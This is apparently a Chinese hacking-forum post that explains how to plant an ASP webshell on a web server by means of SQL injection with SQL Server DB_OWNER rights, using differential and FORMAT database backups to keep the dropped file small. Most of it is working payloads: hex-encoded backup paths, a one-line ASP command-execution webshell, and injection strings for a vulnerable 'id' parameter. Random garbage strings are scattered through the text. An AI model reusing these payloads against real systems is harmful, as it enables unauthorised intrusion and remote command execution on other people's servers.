DB_OWNER权限得到webshell的改进办法

admin

DB_OWNER权限得到webshell的两点改进:
8 A2 d4 E, ?& o' U, w
减少备份文件大小，得到可执行的webshell成功率提高不少
一利用差异备份
4 _! z5 v( |) d: N4 V' S+ O/ p加一个参数WITH DIFFERENTIAL
' @6 l4 N* {9 D1 h, o
1
2
3
4
: S: E2 R1 f% T& i4 H7 q. B declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
) u' C! z0 F4 I) ?& R" p* ?& Zcreate table [dbo].[xiaolu] ([cmd] [image]);
( X! X( n3 U+ s+ m$ z. W1 f5 Z1 minsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

! K7 a( X5 L7 B0 |6 w3 k3 K6 T4 \二利用完全FORMAT
" T& I- |3 g( [# _5 j+ M9 ~加一个参数WITH FROMAT
有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以

1
$ o. A' x7 w( x( c3 j$ p6 W2
0 ?: z5 J4 A3 i1 I3
4
5 V0 }3 _& }: A( i declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]);
. Q: b- k- x9 B& }insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT

总的来说就是那么简单几句,下面以备份数据库model为例子
, |7 ^5 @& Y( V1
; u5 j$ \& c$ @# r) o! ~. P
$ M( T3 p& L- u& R% K1
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')

) [4 t! F4 F8 R- j9 a2

* G) a! T; e$ ]4 r1
; b- B; u* d5 {  U$ L& @8 b5 s id=1;backup database model to disk='你的路径‘ with differential,format;--
6 l4 L1 r6 D" E' M